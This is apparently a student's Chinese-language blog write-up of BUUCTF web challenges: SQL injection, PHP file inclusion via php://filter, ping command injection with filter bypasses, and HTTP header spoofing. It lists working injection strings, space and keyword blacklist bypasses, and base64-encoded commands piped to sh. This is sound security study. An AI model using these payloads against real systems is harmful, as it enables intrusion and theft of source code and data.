假期BUUCTF小练习

 这篇就是随便叨叨,慢慢学吧,才刚开始学没多久,感觉好多都不会,现在一直在学校里面学习,希望暑假可以一周一更吧(美好的祝愿)
 现在还在学sql注入QAQ,真是好难啊啊啊啊                            ——2024.7.19

[极客大挑战 2019]EasySQL1

sql注入

进去是这样一个页面 ,然后随便输入点什么都会报错

image-20240716153551847

image-20240716153537660

因为题目中说了是sql注入,就随便注入点什么进去

image-20240716153742061

但是会报错,因为一般sql语句是单引号,这样输入后发现报错信息改变了

image-20240716154140699

image-20240716154126607

但是双引号还是红色的报错信息

image-20240716154251844

image-20240716154237508

所以是单引号注入,用万能密码注入一下

a' or 1=1#

select * from table_name where username = 'a' or 1=1 #'and password = '1'

#是注释符,就直接将后面的内容注释掉了

就变成select * from table_name where username = 'a' or 1=1 #(emmm)

一个新的知识点万能账号密码

找到单引号字符型密码直接注入就行,得到flag

 【单引号字符型万能密码】
 ​
 a' or true #
 ​
 a' or 1 #
 ​
 a' or 1=1 #
 ​
 a' or true --a
 ​
 a' or 1 -- a
 ​
 a' or 1=1 -- a

image-20240716155515379

[极客大挑战 2019]Havefun

查看源代码

打开是一个网页

image-20240716155930287

直接查看页面源代码,看到get接受了一个cat 值并传给了变量cat,直接get传参就行

image-20240716160017937

[HCTF 2018]WarmUp

代码审计

没看懂,偷偷看看wp

image-20240716161556613

okk,看懂了,来写一下

先看emm类中的内容

底下有个checkFile的静态方法,用于检查要包含的文件是不是在白名单中,白名单是一个关联数组$whitelist,其中包含了允许包含的文件的键值对

其中包含的文件有source.php和hint.php

 if (! isset($page) || !is_string($page)) {
                 echo "you can't see it";
                 return false;
             }

是否存在page且page要是字符串

  if (in_array($page, $whitelist)) {
                 return true;
             }
 ​

看page是否是白名单中的内容

image-20240716162506723

  $_page = mb_substr(
                 $page,
                 0,
                 mb_strpos($page . '?', '?')
             );
             if (in_array($_page, $whitelist)) {
                 return true;
             }

将page与?进行拼接,然后strpos是查找字符串出现的位置,再用substr进行截取(一直截取到?的位置)

if看现在的page是否是白名单中的值

 $_page = urldecode($page);
             $_page = mb_substr(
                 $_page,
                 0,
                 mb_strpos($_page . '?', '?')
             );
             if (in_array($_page, $whitelist)) {
                 return true;
             }
             echo "you can't see it";
             return false;
         }
     }

将page值进行url编码

再进行上面的操作

 if (! empty($_REQUEST['file'])
         && is_string($_REQUEST['file'])
         && emmm::checkFile($_REQUEST['file'])
     ) {
         include $_REQUEST['file'];
         exit;
     } else {
         echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
     }  

检查$_REQUEST['file']是否存在且为字符串类型,调用上面的方法进行检查

嗷嗷,对了,这个是在source.php的页面进行传参,所以 ?file=hint.php? 后面加个问号这样可以保证每次找去用于检查的内容都在白名单

image-20240716163223205

看到flag在ffffllllaaaagggg

好像还考了个目录穿越

这个source.php一般在html目录下,往上还有www,var,然后到根目录,flag一般在根目录下面,因此(至少)要返回四层

image-20240716165136244

[ACTF2020 新生赛]Include

php://filter伪协议

这道题查看页面源码没有看到有效的信息,然后思考题目include,是文件包含的题

用php://filter伪协议:

直接构造payloud?file=php://filter/convert.base64-encode/resource=flag.php

image-20240716170307841

再base转码一下即可

php://filter伪协议

佬写的wp

吼,再总结一下php:filter伪协议吧

php://filter是php语言中特有的协议流,作用是作为一个中间流来处理其他流

image-20240716170754628

 格式
 ​
 可选参数,有read和write,字面意思就是读和写
 ​
 过滤器。主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|隔开),这也为解题提供了多种方法,灵活运用过滤器是解题的关键。这里的过滤器是把文件flag.php里的代码转换(convert)为base64编码(encode)
 ​
 必选参数,后面写你要处理的文件名

除了base64还有rot13编码

php://filter/write=string.rot13/resource=flag.php

php://filter伪协议:

  1. 利用base64获得源码

  2. 通过读写编码实行绕过操作(过滤某些不需要的东西)

[ACTF2020 新生赛]Exec

命令执行

一些符号

 ;直接分号分隔
 管道符:作用和&一样。前面和后面命令都要执行,无论前面真假
 ​
 | 按位或
 作用是直接执行|后面的语句
 ​
 || 逻辑或
 作用是如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
 ​
 & 按位与
 &前面和后面命令都要执行,无论前面真假
 ​
 && 逻辑与
 如果前面为假,后面的命令就不执行,如果前面为真则再执行后面命令,这样两条命令都会被执行
 ​
 ​
 或   与  运算
 对于‘与’运算,比如x&&y时,当x为false时,直接跳过,不会执行y里面的内容,
 ​
 如果为真,两个条件都必须为真
 ​
 对于‘或’运算,比如x||y时,当x为true时,就不会再执行y里面的内容

image-20240716180421775

看到有个ping

Ping是啥捏

ping可以用来了解网络连接的情况

有个输入窗口有个ping

可能是sql注入,也有可能是命令执行

先ping 127.0.0.1,有回显,确定是命令执行漏洞

image-20240716181308068

在后面直接跟命令执行的代码

127.0.0.1&ls /

在根目录下,看到有名为flag的文件

127.0.0.1& cat flag没有回显

127.0.0.1& cat /flag得到flag

[GXYCTF2019]Ping Ping Ping

内联执行,变量替换

GXYCTF2019] Ping Ping Ping 总结笔记 Writeup-CSDN博客

一些小知识

命令联合执行

 ;     前面的执行完执行后面的
 |     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
 ||    当前面的执行出错时(为假)执行后面的
 &     将任务置于后台执行
 &&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
 %0a  (换行)
 %0d  (回车)

命令绕过空格的方式有

 ${IFS}$9
 {IFS}
 $IFS
 ${IFS}
 $IFS$1 //$1改成$加其他数字貌似都行
 IFS
 < 
 <> 
 {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
 %20   (space)
 %09   (tab)
 X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

内联执行

内联,就是将反引号内命令的输出作为输入执行

 ?ip=127.0.0.1;cat$IFS$9`ls`
 ​
 $IFS在Linux下表示为空格
 $9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字
 ​
 这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用

*shell是运行在终端中的文本互动程序。*

*bash(GNU Bourne-Again Shell)是最常用的一种shell,是当前大多数Linux发行版的默认Shell。*

bash常见的命令

 cd:改变当前目录
 exit:终止shell
 fc:用来编辑历史命令列表里的命令
 fg:使一个被挂起的进程在前台继续执行
 kill:终止某个进程
 pwd:显示当前工作目录

1.用变量替换

/.*f.*l.*a.*g.*/

是flag的贪婪匹配

匹配一个字符串中,是否按顺序出现flag这四个字母

怎么绕过捏

 ?ip=127.0.0.1;a=f;cat$IFS$1$alag.php    过滤
 ?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php    没flag
 ?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php    过滤
 ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php    有flag
 ?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 过滤
 ?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php 有flag

2.内联执行

内联,就是将反引号内命令的输出作为输入执行

 ?ip=127.0.0.1;cat$IFS`ls`
 ?ip=127.0.0.1;cat$IFS$3`ls`
 ?ip=127.0.0.1;cat$IFS$9`ls`
 ?ip=127.0.0.1|cat$IFS$9`ls`

3.用管道+sh替换

cat flag.php 用base64加密来绕过正则匹配

Y2F0IGZsYWcucGhw

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash

因为过滤掉了bash,但是没有过滤掉sh

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

|sh就是执行前面的echo脚本

相关题目的做法

 cat fl*  用*匹配任意 
 cat fla* 用*匹配任意
 ca\t fla\g.php        反斜线绕过
 cat fl''ag.php        两个单引号绕过
 echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
 //base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数
 ​
 echo "63617420666c61672e706870" | xxd -r -p | bash       
 //hex编码绕过(引号可以去掉)
 ​
 echo "63617420666c61672e706870" | xxd -r -p | sh     
 //sh的效果和bash一样
 ​
 cat fl[a]g.php       用[]匹配
 ​
 a=fl;b=ag;cat $a$b          变量替换
 cp fla{g.php,G}    把flag.php复制为flaG
 ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 

然后自己做一遍吧

?ip=127.0.0.1;ls

image-20240717100334332

?ip=127.0.0.1;cat flag.php

image-20240717100358301

过滤了空格

?ip=127.0.0.1;cat{IFS}flag.php

image-20240717100430496

过滤了}符号

?ip=127.0.0.1;cat$IFS$1f*

image-20240717100525977

过滤了flag和*

 /?ip=
 |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
     echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
     die("fxck your symbol!");
   } else if(preg_match("/ /", $ip)){
     die("fxck your space!");
   } else if(preg_match("/bash/", $ip)){
     die("fxck your bash!");
   } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
     die("fxck your flag!");
   }
   $a = shell_exec("ping -c 4 ".$ip);
   echo "
 ";
   print_r($a);
 }
 ​
 ?>

?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php奇怪,这个好像换成?ip=127.0.0.1;a=f;cat$IFS$1$alag.php就不行

?ip=127.0.0.1|cat$IFS$1'ls'

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

要得到flag都要查看页面源代码,因为php文件是不可读的

[极客大挑战 2019]Secret File

php:filter伪协议

进去查看源码

image-20240718200703596

image-20240718200715588

image-20240718200727028

点击了啥也没有

image-20240718200755197

然后抓包看看,发现隐藏了个 secr3t.php

image-20240718195402851

访问,然后代码审计

 <html>
     <title>secret</title>
     <meta charset="UTF-8">
 <?php
     highlight_file(__FILE__);
     error_reporting(0);  //关闭错误报告
     $file=$_GET['file'];  //GET传参
     if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
         echo "Oh no!";
         exit();
     }
     include($file); 
 //flag放在了flag.php里
 ?>
 </html>

很简单的一个代码审计:

 strstr — 查找字符串的首次出现
 stristr — strstr() 函数的忽略大小写版本

看看flag.php,什么都没有

image-20240718200114098

用php://filter伪协议,来读取flag.php的文件源码

secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20240718201547862

进行Base64解码

[极客大挑战 2019]Http

HTTP头

直接看网页发现没有啥信息,然后查看页面源代码,仔细找找嗷,发现有个secret.php

image-20240718203102768

当然是访问它了

然后跳进

image-20240718203309255

这句话就是要从https://Sycsecret.buuoj.cn

添加Referer(是指用户从哪个浏览器来)

image-20240718203417723

添加User-Agent(使用什么工具访问浏览器)

image-20240718203900239

添加X-Forwarded-For(本地回环)

 HTTP Referer是header头的一部分,从哪个网页了链接过来的
 X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上
 COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
 X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP
 Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言

image-20240718204059739

得到flag

在总结一下叭

  • 简单的sql注入,万能密码a' or 1=1#

  • 一些基本的函数

 in_array :检查数组中是否存在某个值
 strpos:查找字符串出现的位置
 stripos:不区分大小写查找字符串的位置(后面的在前面字符串中第一次出现的位置)
 preg_match: 执行正则匹配表达式
 highlight_file:语法高亮一个php文件
 isset:检测变量已经声明
 intval:取整函数
 file_put_contents:将数据写入文件
 is_numeric:检测变量是否是数字或者是数字字符串
 var_dump:可以输出多个值
 hex2bin:把十六进制转换为ASCLL码值
 error_reporting(0):关闭错误报告
 parse_str: 把查询的字符串解析成多个变量(以数组的方式)
 strrev:反转字符串
 include:包含并运行指定文件
 assert:断言检测
 sleep:延缓执行
 strstr:查找字符串的首次出现
  • php伪协议

php://filter/read=convert.base64-encode/resource=flag.php

php://filter/write=convert.base64-decode/resource=flag.php

常见的php伪协议:

 1.php://filter  主要用于读取源码
 ​
 2.php://input   经常使用file_get_contents获取php://input内容
 ​
 3.data://  执行命令
 ​
 4.file://   访问本地文件系统

作用:

利用base64获得源码

通过读写编码实行绕过操作(过滤某些不需要的东西)

  • 命令绕过空格的方式有:

 ${IFS}$9
 {IFS}
 $IFS
 ${IFS}
 $IFS$1 //$1改成$加其他数字貌似都行
 IFS
 < 
 <> 
 {cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
 %20   (space)
 %09   (tab)
 X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

命令执行漏洞过滤

  1. 拼接方法:

 a=fl;b=ag;cat $a$b
  1. 单引号,双引号,反斜线

 c""at f''lag
 c\at fl\ag
  1. base64编码

  echo "Y2F0IGZsYWc="|base64 -d   (cat flag)
  echo "Y2F0IGZsYWc="|base64 -d|bash   (在bash被过滤的情况下可尝试sh)

HTTP头:

 HTTP Referer是header头的一部分,从哪个网页了链接过来的
 X-Forwarded-For 简称XXF头,代表客户端,用来记录代理信息,每经过一级处理,代理服务器都把这次请求的来源IP追加在XFF头上(本地回环,一般是127.0.0.1)
 COOkie:指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
 X-Real-IP:是一个自定义的Header,一般只记录真实发出请求的客户端IP
 Accept-Language 请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言
 USer-Agent:是一个用来 标识发送请求的客户端(通常是浏览器或其他网络应用程序)的字符串

  • 28
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值